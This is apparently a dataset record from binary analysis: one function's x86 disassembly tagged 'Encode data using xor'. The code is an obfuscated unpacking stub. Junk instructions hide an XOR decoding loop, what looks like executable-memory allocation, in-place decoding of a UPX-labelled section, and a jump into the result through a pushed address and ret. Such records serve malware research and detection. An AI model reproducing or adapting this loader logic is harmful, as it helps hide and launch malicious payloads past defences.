Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6c4fd558
inc edx
sub edx, 0x1e4831a8
inc edx
popal
add edx, 0x22805fa6
mov edx, eax
mov edi, 0
mov ebx, eax
inc edx
mov esi, edx
mov ecx, ebx
mov edx, esi
mov edx, 0x535a1463
mov edx, esi
mov eax, ecx
or esi, esi
mov edx, 0xd2b71980
inc edi
sub esi, 0x73a16a6a
sub edx, 0xb3500036
or edx, esi
cmp edi, 0x10007b6
jne 0xa789c8
add edx, edx
or edx, esi
dec esi
sub edx, 1
mov eax, 0x808fb76
mov esi, 0xa78796
mov edi, ebx
mov ecx, edi
mov eax, 0xa7898a
inc ebx
not ecx
mov edx, dword [esi]
sub ecx, ebx
or edi, ebx
mov ebx, edi
and edx, 0xff
or edi, ebx
sub ecx, edi
add ebx, 0xf1a1a82d
xor dword [eax], edx
add ecx, 0x198b6c58
and edi, ebx
add ecx, 0x66517e48
inc eax
sub ecx, 0x52fce4fa
mov edi, 0xd5e2dcf9
inc esi
add ebx, edi
sub ebx, edi
dec ecx
cmp eax, entry0
jl 0xa78a1d
add ecx, edi
and edi, ecx
or edi, edi
and ecx, ebx
add edi, 1
sub edi, 0xc0253f5e
and esi, ecx
mov ebx, 0xa7898e
inc ecx
sub esi, ecx
mov edx, 0x8de46869
mov ebx, dword [ebx]
not edx
not edi
mov ebx, dword [ebx]
sub edx, esi
mov edi, 0x3ca264d7
sub edi, edx
push ebx
inc edx
sub ecx, edi
dec edx
mov ebx, 0xa7898a
inc edi
sub esi, 0x770ba96e
mov edi, 0x608dc17c
mov ebx, dword [ebx]
inc edx
add esi, ecx
mov ebx, dword [ebx]
sub ecx, 0x506ee3ec
sub esi, edi
and esi, edi
push 0xa78992
and edx, edi
mov ecx, 0x1f8fc806
call ebx
not edi
dec edx
sub esi, 1
mov ebx, dword [esp]
add esp, 4
add esi, 1
add edi, ecx
mov esi, edx
sub esp, 4
mov dword [esp], 0xa7899f
and esi, ecx
inc edx
add ecx, 0xc14befec
push eax
mov esi, 0x528e9c30
sub edi, 1
call ebx
dec esi
sub ecx, 0xf2ea2d35
not esi
push 0x40
add edi, 0x56ffa434
and ecx, edx
push 0x3000
sub esi, 0x81f912f6
or ecx, esi
sub esi, edx
push 0x20000ba9
inc edi
dec ecx
not ecx
push 0
mov edi, edx
add edx, esi
call eax
sub esi, 1
not edi
dec edi
add eax, 0x20000b16
add edx, 0x77e16806
and esi, ecx
and edi, edx
mov ebx, 0xde4d5bfa
add edx, 0xeeaec205
mov edx, 0xcf9f364f
not edi
mov dword [eax], ebx
inc edx
mov edx, edi
mov ebx, dword [eax]
add ecx, 0x6773cd86
or edx, ecx
add edx, edi
cmp ebx, 0xde4d5bfa
je 0xa78b8a
mov ecx, 0
mov edx, dword [ecx]
add edi, edx
inc edx
sub edi, 0xdb2dd630
or ecx, edi
dec ecx
sub edx, eax
mov edx, eax
sub edx, eax
mov edi, section.UPX1
mov eax, edx
mov eax, 0xd51a7591
mov ebx, 0xa78795
mov eax, edx
and eax, eax
mov esi, 0
dec eax
sub eax, 0xc2d0f884
mov edx, 0xd32321d3
mov ecx, 0xa78796
and eax, eax
add eax, 0x2db20410
lea ecx, [esi + ecx]
and eax, eax
dec eax
mov eax, edx
mov ecx, dword [ecx]
inc eax
mov edx, eax
and ecx, 0xff
sub edx, eax
sub eax, 0x6bcce3a7
mov edx, 0x63aa0107
inc esi
add eax, edx
not eax
sub eax, 0x50327fd
cmp esi, 0x1f4
jne 0xa78c07
mov esi, 0
add eax, 1
sub edx, 0xe55a6bc9
add eax, edx
mov eax, 0xff6fcf8a
xor dword [edi], ecx
add eax, edx
mov edx, eax
mov eax, edx
add edi, 2
sub eax, 0xb7f75e77
or edx, edx
cmp edi, ebx
jl 0xa78bc2
mov eax, edx
sub edx, eax
sub eax, edx
mov edx, eax
dec edx
dec edx
mov ebx, section.UPX1
sub ecx, 0xfd85b924
mov ecx, esi
mov edx, section.UPX1
inc ecx
add esi, ecx
add esi, 0x73ea4e8c
mov edi, 0xa78795
mov ecx, 0xea01cf88
dec ecx
sub esi, 0x476593b2
mov eax, 0
add ecx, 0x62bdd28e
inc esi
add ecx, esi
mov al, byte [edx]
or ecx, ecx
not esi
mov byte [ebx], al
dec esi
add esi, esi
inc ebx
sub ecx, 0x551c915
sub esi, ecx
add edx, 2
and ecx, ecx
or ecx, esi
cmp edx, edi
jle 0xa78c7c
or esi, esi
sub esi, ecx
mov eax, 0x7080a938
mov eax, 0x88010c59
sub esp, 4
mov dword [esp], 0x8dc6a0
and edx, eax
add eax, 1
sub eax, edx
ret